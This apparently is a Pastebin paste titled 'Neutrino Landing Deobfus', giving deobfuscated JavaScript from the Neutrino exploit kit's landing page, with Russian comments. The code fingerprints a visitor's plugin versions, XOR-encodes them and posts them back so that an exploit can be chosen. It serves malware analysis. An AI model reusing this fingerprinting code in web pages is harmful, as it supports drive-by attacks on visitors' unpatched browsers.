Kafeine

Neutrino Landing Deobfus

Mar 6th, 2013
1,205
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2. * Отправка запроса с информацией о плагинах
  3. */
  4. function send_request(hid) {
  5. var info = {
  6. plugins : {
  7. java: plg_all_ver('Java'),
  8. adobe_reader: plg_ver('AdobeReader'),
  9. flash: plg_ver('Flash'),
  10. quick_time: plg_ver('QuickTime'),
  11. real_player: plg_ver('RealPlayer'),
  12. shockwave: plg_ver('Shockwave'),
  13. silver_light: plg_ver('Silverlight'),
  14. vlc: plg_ver('VLC'),
  15. wmp: plg_ver('WMP')
  16. }
  17. }
  18.  
  19. var pass = rnd_str(1+Math.floor(Math.random()*10));
  20. var obj = {};
  21. obj["h"+rnd_str(1+Math.floor(Math.random()*10))] = hid; // host id
  22. obj["p"+rnd_str(1+Math.floor(Math.random()*10))] = pass; // XOR pass
  23. obj["i"+rnd_str(1+Math.floor(Math.random()*10))] = xor(JSON.stringify(info), pass);
  24.  
  25. $("body").load("c"+rnd_str(1+Math.floor(Math.random()*10)), obj);
  26. }
  27.  
  28. /**
  29. * Возвращает строку разбитую ";" со всеми версиями указанного плагина (java, pdf)
  30. * @param string name
  31. */
  32. function plg_all_ver(name) {
  33. var info = PluginDetect.getInfo(name);
  34. var vers = info.All_versions;
  35. if(!vers)
  36. return '';
  37. return info.All_versions.join(';')
  38. }
  39.  
  40. /**
  41. * Возвращает текущую установленную версию плагина
  42. * @param string name
  43. */
  44. function plg_ver(name) {
  45. var info = PluginDetect.getVersion(name);
  46. return info;
  47. }
  48.  
  49. /**
  50. * Возвращает рандомную строку заданной длины
  51. */
  52. function rnd_str(len) {
  53. len++;
  54. var result = [];
  55. var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
  56. while (--len) {
  57. result.push(chars.charAt(Math.floor(Math.random() * chars.length)));
  58. }
  59. return result.join('');
  60. }
  61.  
  62.  
  63.  
  64. /**
  65. * Реализация XOR
  66. */
  67. function xor (input, pass) {
  68. var output = "";
  69. var i = 0;
  70. var pos = 0;
  71. for (i = 0; i < input.length; i++){
  72. pos = Math.floor(i%pass.length);
  73. output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  74. }
  75. return output;
  76. }
  77.  
  78. /**
  79. * Реализация серелизации объекта в json
  80. */
  81. JSON.stringify = JSON.stringify || function (obj) {
  82. var t = typeof (obj);
  83. if (t != "object" || obj === null) {
  84. // simple data type
  85. if (t == "string") obj = '"'+obj+'"';
  86. return String(obj);
  87. }
  88. else {
  89. // recurse array or object
  90. var n, v, json = [], arr = (obj && obj.constructor == Array);
  91. for (n in obj) {
  92. v = obj[n]; t = typeof(v);
  93. if (t == "string") v = '"'+v+'"';
  94. else if (t == "object" && v !== null) v = JSON.stringify(v);
  95. json.push((arr ? "" : '"' + n + '":') + String(v));
  96. }
  97. return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  98. }
  99. };
RAW Paste Data